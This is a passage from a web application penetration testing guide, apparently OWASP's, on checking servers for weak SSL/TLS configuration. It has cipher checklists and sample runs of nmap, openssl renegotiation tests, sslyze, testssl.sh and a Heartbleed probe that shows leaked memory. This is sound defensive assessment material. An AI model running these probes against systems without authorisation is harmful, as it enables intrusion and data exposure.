(think of corporate web email being provided via HTTPS; here,
obviously all users recognize the internal CA as a trusted CA).
When a service is provided to the general public via the Internet,
however (i.e. when it is important to positively verify the identity
of the server we are talking to), it is usually imperative to rely on a
trusted CA, one which is recognized by all the user base (and here
we stop with our considerations; we won’t delve deeper in the
implications of the trust model being used by digital certificates).
• Certificates have an associated period of validity, therefore
A public service needs a temporally valid certificate; otherwise, it
means we are talking with a server whose certificate was issued
by someone we trust, but has expired without being renewed.
• What if the name on the certificate and the name of the server
do not match? If this happens, it might sound suspicious. For a
number of reasons, this is not so rare to see. A system may host
a number of name-based virtual hosts, which share the same
IP address and are identified by means of the HTTP 1.1 Host:
header information. In this case, since the SSL handshake checks
the server certificate before the HTTP request is processed, it is
not possible to assign different certificates to each virtual server.
Therefore, if the name of the site and the name reported in the
certificate do not match, we have a condition which is typically
signaled by the browser. To avoid this, IP-based virtual servers
must be used. [33] and [34] describe techniques to deal with
this problem and allow name-based virtual hosts to be correctly
referenced.
Other vulnerabilities
The presence of a new service, listening in a separate tcp port may
introduce vulnerabilities such as infrastructure vulnerabilities if
the software is not up to date [4]. Furthermore, for the correct
protection of data during transmission the Session Cookie must
use the Secure flag [5] and some directives should be sent to the
browser to accept only secure traffic (e.g. HSTS [6], CSP).
Also there are some attacks that can be used to intercept traffic if
the web server exposes the application on both HTTP and HTTPS
[6], [7] or in case of mixed HTTP and HTTPS resources in the same
page.
How to Test
Testing for sensitive data transmitted in clear-text
Various types of information which must be protected can be also
transmitted in clear text. It is possible to check if this information
is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2].
Example 1. Basic Authentication over HTTP
A typical example is the usage of Basic Authentication over HTTP
encoded - and not encrypted - into HTTP Headers.

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$curl -kis http://example.com/restricted/ HTTP/1.1 401 Authorization Required Date: Fri, 01 Aug 2013 00:00:00 GMT WWW-Authenticate: Basic realm=”Restricted Area” Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 162 Content-Type: text/html 401 Authorization Required 401 Authorization Required Invalid login credentials! Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. At the time of writing these criteria are widely recognized as minimum checklist: • Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication). • Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]). • Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]). • No Export (EXP) level cipher suites, due to can be easly broken [10]. • X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits). • X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash). • Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14]. A more complete checklist includes: • Secure Renegotiation should be enabled. • MD5 should not be used, due to known collision attacks. [35] • RC4 should not be used, due to crypto-analytical attacks [15]. • Server should be protected from BEAST Attack [16]. • Server should be protected from CRIME attack, TLS compres sion must be disabled [17]. • Server should support Forward Secrecy [18]. The following standards can be used as reference while assessing SSL servers: • PCI-DSS v2.0 in point 4.1 requires compliant parties to use “strong cryptography” without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19]. • Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21]. • OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26]. Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references. Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37]. Example 2. SSL service recognition via nmap The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop). In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.$ nmap -sV --reason -PN -n --top-ports 100 www.example.
com
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00
CEST
Nmap scan report for www.example.com (127.0.0.1)
Host is up, received user-set (0.20s latency).
Not shown: 89 filtered ports
Reason: 89 no-responses
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack Pure-FTPd
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)
25/tcp open smtp syn-ack Exim smtpd 4.80
26/tcp open smtp syn-ack Exim smtpd 4.80
80/tcp open http syn-ack
110/tcp open pop3 syn-ack Dovecot pop3d
143/tcp open imap syn-ack Dovecot imapd
443/tcp open ssl/http syn-ack Apache
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80
993/tcp open ssl/imap syn-ack Dovecot imapd
995/tcp open ssl/pop3 syn-ack Dovecot pop3d
Service Info: Hosts: example.com
Service detection performed. Please report any incorrect results
at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds

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Example 3. Checking for Certificate information, Weak Ciphers
and SSLv2 via nmap
Nmap has two scripts for checking Certificate information, Weak
Ciphers and SSLv2 [31].
$nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST Nmap scan report for www.example.com (127.0.0.1) Host is up (0.090s latency). rDNS record for 127.0.0.1: www.example.com PORT STATE SERVICE 443/tcp open https | ssl-cert: Subject: commonName=www.example.org | Issuer: commonName=******* | Public Key type: rsa | Public Key bits: 1024 | Not valid before: 2010-01-23T00:00:00+00:00 | Not valid after: 2020-02-28T23:59:59+00:00 | MD5: ******* |_SHA-1: ******* | ssl-enum-ciphers: | SSLv3: | ciphers: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong | compressors: | NULL | TLSv1.0: | ciphers: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong | compressors: | NULL |_ least strength: strong 465/tcp open smtps | ssl-cert: Subject: commonName=*.exapmple.com | Issuer: commonName=******* | Public Key type: rsa | Public Key bits: 2048 | Not valid before: 2010-01-23T00:00:00+00:00 | Not valid after: 2020-02-28T23:59:59+00:00 | MD5: ******* |_SHA-1: ******* | ssl-enum-ciphers: | SSLv3: | ciphers: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong | compressors: | NULL | TLSv1.0: | ciphers: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong | compressors: | NULL |_ least strength: strong 993/tcp open imaps | ssl-cert: Subject: commonName=*.exapmple.com | Issuer: commonName=******* | Public Key type: rsa | Public Key bits: 2048 | Not valid before: 2010-01-23T00:00:00+00:00 | Not valid after: 2020-02-28T23:59:59+00:00 | MD5: ******* |_SHA-1: ******* | ssl-enum-ciphers: | SSLv3: | ciphers: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong | compressors: | NULL | TLSv1.0: | ciphers: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong | compressors: | NULL |_ least strength: strong 995/tcp open pop3s | ssl-cert: Subject: commonName=*.exapmple.com | Issuer: commonName=******* | Public Key type: rsa | Public Key bits: 2048 | Not valid before: 2010-01-23T00:00:00+00:00 | Not valid after: 2020-02-28T23:59:59+00:00 | MD5: ******* |_SHA-1: ******* | ssl-enum-ciphers: | SSLv3: | ciphers: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong | compressors: | NULL | TLSv1.0: | ciphers: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong | compressors: | NULL |_ least strength: strong Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds 162 Web Application Penetration Testing Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually) Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities.$ openssl s_client -connect www2.example.com:443
CONNECTED(00000003)
depth=2 ******
verify error:num=20:unable to get local issuer certificate
verify return:0
--Certificate chain
0 s:******
i:******
1 s:******
i:******
2 s:******
i:******
--Server certificate
-----BEGIN CERTIFICATE----******
-----END CERTIFICATE----subject=******
issuer=******
--No client certificate CA names sent
--SSL handshake has read 3558 bytes and written 640 bytes
--New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSv1
Cipher : DES-CBC3-SHA
Session-ID: ******
Session-ID-ctx:
Master-Key: ******
Key-Arg : None
PSK identity: None
PSK identity hint: None
Start Time: ******
Timeout : 300 (sec)
Verify return code: 20 (unable to get local issuer certificate)
---

Now the tester can write the first line of an HTTP request and
then R in a new line.
R
Server is renegotiating
RENEGOTIATING
depth=2 C******
verify error:num=20:unable to get local issuer certificate
verify return:0
And the tester can complete our request, checking for response.
Even if the HEAD is not permitted, Client-intiated renegotiaion
is permitted.
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 1792
Example 5. Testing supported Cipher Suites, BEAST and CRIME
attacks via TestSSLServer
TestSSLServer [32] is a script which permits the tester to check
the cipher suite and also for BEAST and CRIME attacks. BEAST
(Browser Exploit Against SSL/TLS) exploits a vulnerability of
CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy)
exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the
use of RC4, but this is now discouraged due to a crypto-analytical
attack to RC4 [15].
An online tool to check for these attacks is SSL Labs, but can be used
only for internet facing servers. Also consider that target data will be
stored on SSL Labs server and also will result some connection from
SSL Labs server [21].

$java -jar TestSSLServer.jar www3.example.com 443 Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2 Deflate compression: no Supported cipher suites (ORDER IS NOT SIGNIFICANT): SSLv3 RSA_WITH_RC4_128_SHA RSA_WITH_3DES_EDE_CBC_SHA DHE_RSA_WITH_3DES_EDE_CBC_SHA RSA_WITH_AES_128_CBC_SHA DHE_RSA_WITH_AES_128_CBC_SHA 163 Web Application Penetration Testing RSA_WITH_AES_256_CBC_SHA DHE_RSA_WITH_AES_256_CBC_SHA RSA_WITH_CAMELLIA_128_CBC_SHA DHE_RSA_WITH_CAMELLIA_128_CBC_SHA RSA_WITH_CAMELLIA_256_CBC_SHA DHE_RSA_WITH_CAMELLIA_256_CBC_SHA TLS_RSA_WITH_SEED_CBC_SHA TLS_DHE_RSA_WITH_SEED_CBC_SHA (TLSv1.0: idem) (TLSv1.1: idem) TLSv1.2 RSA_WITH_RC4_128_SHA RSA_WITH_3DES_EDE_CBC_SHA DHE_RSA_WITH_3DES_EDE_CBC_SHA RSA_WITH_AES_128_CBC_SHA DHE_RSA_WITH_AES_128_CBC_SHA RSA_WITH_AES_256_CBC_SHA DHE_RSA_WITH_AES_256_CBC_SHA RSA_WITH_AES_128_CBC_SHA256 RSA_WITH_AES_256_CBC_SHA256 RSA_WITH_CAMELLIA_128_CBC_SHA DHE_RSA_WITH_CAMELLIA_128_CBC_SHA DHE_RSA_WITH_AES_128_CBC_SHA256 DHE_RSA_WITH_AES_256_CBC_SHA256 RSA_WITH_CAMELLIA_256_CBC_SHA DHE_RSA_WITH_CAMELLIA_256_CBC_SHA TLS_RSA_WITH_SEED_CBC_SHA TLS_DHE_RSA_WITH_SEED_CBC_SHA TLS_RSA_WITH_AES_128_GCM_SHA256 TLS_RSA_WITH_AES_256_GCM_SHA384 TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 ---------------------Server certificate(s): ****** ---------------------Minimal encryption strength: strong encryption (96-bit or more) Achievable encryption strength: strong encryption (96-bit or more) BEAST status: vulnerable CRIME status: protected Example 6. Testing SSL/TLS vulnerabilities with sslyze Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing ./sslyze.py --regular example.com:443 REGISTERING AVAILABLE PLUGINS ----------------------------- PluginHSTS PluginSessionRenegotiation PluginCertInfo PluginSessionResumption PluginOpenSSLCipherSuites PluginCompression CHECKING HOST(S) AVAILABILITY ----------------------------example.com:443 => 127.0.0.1:443 SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443 --------------------------------------------------* Compression : Compression Support: Disabled * Session Renegotiation : Client-initiated Renegotiations: Rejected Secure Renegotiation: Supported * Certificate : Validation w/ Mozilla’s CA Store: Certificate is NOT Trusted: unable to get local issuer certificate Hostname Validation: MISMATCH SHA1 Fingerprint: ****** Common Name: Issuer: Serial Number: Not Before: Not After: www.example.com ****** **** Sep 26 00:00:00 2010 GMT Sep 26 23:59:59 2020 GMT Signature Algorithm: sha1WithRSAEncryption Key Size: 1024 bit X509v3 Subject Alternative Name: {‘othername’: [‘’], ‘DNS’: [‘www.example.com’]} * OCSP Stapling : Server did not send back an OCSP response. * Session Resumption : With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts). With TLS Session Tickets: Supported * SSLV2 Cipher Suites : Rejected Cipher Suite(s): Hidden 164 Web Application Penetration Testing RC4-SHA Preferred Cipher Suite: None Accepted Cipher Suite(s): None Undefined - An unexpected error happened: None Rejected Cipher Suite(s): Hidden HTTP 200 OK Accepted Cipher Suite(s): CAMELLIA256-SHA 256 bits HTTP 200 OK RC4-SHA 128 bits HTTP 200 OK CAMELLIA128-SHA 128 bits HTTP 200 OK Undefined - An unexpected error happened: None * TLSV1_1 Cipher Suites : Rejected Cipher Suite(s): Hidden Preferred Cipher Suite: None Accepted Cipher Suite(s): None Undefined - An unexpected error happened: ECDH-RSA-AES256-SHA socket.timeout - timed out ECDH-ECDSA-AES256-SHA socket.timeout - timed out * TLSV1_2 Cipher Suites : Rejected Cipher Suite(s): Hidden Preferred Cipher Suite: None Accepted Cipher Suite(s): None Undefined - An unexpected error happened: ECDH-RSA-AES256-GCM-SHA384 socket.timeout timed out ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out Accepted Cipher Suite(s): CAMELLIA256-SHA 256 bits HTTP 200 OK RC4-SHA 128 bits HTTP 200 OK CAMELLIA128-SHA 128 bits HTTP 200 OK SCAN COMPLETED IN 9.68 S -----------------------Example 7. Testing SSL/TLS with testssl.sh Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. It’s a very easy to use tool. Here’s some sample output (without colors): user@myhost: % testssl.sh owasp.org ############################################# ########### testssl.sh v2.0rc3 (https://testssl.sh) ($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $) This program is free software. Redistribution + modification under GPLv2 is permitted. USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK! Note you can only check the server against what is available (ciphers/protocols) locally on your machine ############################################# ########### Using “OpenSSL 1.0.2-beta1 24 Feb 2014” on “myhost://bin/openssl64” Testing now (2014-04-17 15:06) ---> owasp.org:443 <--(“owasp.org” resolves to “192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e”) * TLSV1 Cipher Suites : Rejected Cipher Suite(s): Hidden Preferred Cipher Suite: Timeout on HTTP GET Undefined - An unexpected error happened: ADH-CAMELLIA256-SHA socket.timeout - timed out * SSLV3 Cipher Suites : Preferred Cipher Suite: RC4-SHA 128 bits 128 bits --> Testing Protocols SSLv2 SSLv3 NOT offered (ok) offered 165 Web Application Penetration Testing TLSv1 offered (ok) TLSv1.1 offered (ok) TLSv1.2 offered (ok) --> Testing (Perfect) Forward Secrecy (P)FS) SPDY/NPN not offered Done now (2014-04-17 15:07) ---> owasp.org:443 <--- --> Testing standard cipher lists user@myhost: % no PFS available Null Cipher NOT offered (ok) Anonymous NULL Cipher NOT offered (ok) Anonymous DH Cipher NOT offered (ok) 40 Bit encryption NOT offered (ok) 56 Bit encryption NOT offered (ok) Export Cipher (general) NOT offered (ok) Low (<=64 Bit) NOT offered (ok) DES Cipher NOT offered (ok) Triple DES Cipher offered Medium grade encryption offered High grade encryption offered (ok) --> Testing server defaults (Server Hello) Negotiated protocol Negotiated cipher TLSv1.2 AES128-GCM-SHA256 Server key size 2048 bit TLS server extensions: server name, renegotiation info, session ticket, heartbeat Session Tickets RFC 5077 300 seconds --> Testing specific vulnerabilities Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) Renegotiation (CVE 2009-3555) NOT vulnerable (ok) CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) --> Checking RC4 Ciphers RC4 seems generally available. Now testing specific ciphers... Hexcode Cipher Name KeyExch. Encryption Bits ------------------------------------------------------------------[0x05] RC4-SHA RSA RC4 128 RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a --> Testing HTTP Header response HSTS no Server Apache Application (None) STARTTLS would be tested via testssl.sh -t smtp.gmail.com:587 smtp, each ciphers with testssl -e , each ciphers per protocol with testssl -E . To just display what local ciphers that are installed for openssl see testssl -V. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh. The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure / bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. Additionally it provides a prototype (via “testssl.sh -V”) of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory. Example 8. Testing SSL/TLS with SSL Breacher This tool [99] is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests. It supports the following checks: • HeartBleed • ChangeCipherSpec Injection • BREACH • BEAST • Forward Secrecy support • RC4 support • CRIME & TIME (If CRIME is detected, TIME will also be reported) • Lucky13 • HSTS: Check for implementation of HSTS header • HSTS: Reasonable duration of MAX-AGE • HSTS: Check for SubDomains support • Certificate expiration • Insufficient public key-length • Host-name mismatch • Weak Insecure Hashing Algorithm (MD2, MD4, MD5) • SSLv2 support • Weak ciphers check • Null Prefix in certificate • HTTPS Stripping • Surf Jacking • Non-SSL elements/contents embedded in SSL page • Cache-Control 166 Web Application Penetration Testing pentester@r00ting: % breacher.sh https://localhost/login.php Host Info: ============== Host : localhost Port : 443 Path : /login.php Certificate Info: ================== Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate) Expiration Date: Sat Nov 09 07:48:47 SGT 2019 Signature Hash Algorithm: SHA1withRSA Public key: Sun RSA public key, 1024 bits modulus: 13563296484355500991016409816100408625 9135236815846778903941582882908611097021488277 5657328517128950572278496563648868981962399018 7956963565986177085092024117822268667016231814 7175328086853962427921575656093414000691131757 0996633223696567560900301903699230503066687785 34926124693591013220754558036175189121517 public exponent: 65537 Signed for: CN=localhost Signed by: CN=localhost Total certificate chain: 1 (Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.) ===================================== Certificate Validation: =============================== [!] Signed using Insufficient public key length 1024 bits (Refer to http://www.keylength.com/ for details) [!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs. ===================================== Loading module: Hut3 Cardiac Arrest ... Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ... [-] Connecting to 127.0.0.1:443 using SSLv3 [-] Sending ClientHello [-] ServerHello received [-] Sending Heartbeat [Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3 [-] Displaying response (lines consisting entirely of null bytes are removed): 0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ...... SHs.|..... 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........ 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y.......... 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”. 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00
3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00
;.<.=.>.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
C.D.E.F..a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0
.!.”.#.$.%.&.’. 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../. 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7. 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O. 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W. 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 .a.b.c.d.e.f.g. 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o. 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~... 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#........... 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}..... [-] Closing connection [-] Connecting to 127.0.0.1:443 using TLSv1.0 [-] Sending ClientHello 167 Web Application Penetration Testing [-] ServerHello received [-] Sending Heartbeat [Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0 [-] Displaying response (lines consisting entirely of null bytes are removed): 0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ...... SHs.|..... 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........ 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y.......... 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”. 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00
3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00
;.<.=.>.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
C.D.E.F..a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0
.!.”.#.$.%.&.’. 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../. 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7. 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O. 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W. 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 .a.b.c.d.e.f.g. 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o. 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~... 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#........... 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}..... [-] Closing connection [-] Connecting to 127.0.0.1:443 using TLSv1.1 [-] Sending ClientHello [-] ServerHello received [-] Sending Heartbeat [Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1 [-] Displaying response (lines consisting entirely of null bytes are removed): 0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ...... SHs.|..... 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........ 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y.......... 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”. 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00
3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00
;.<.=.>.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
C.D.E.F..a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0
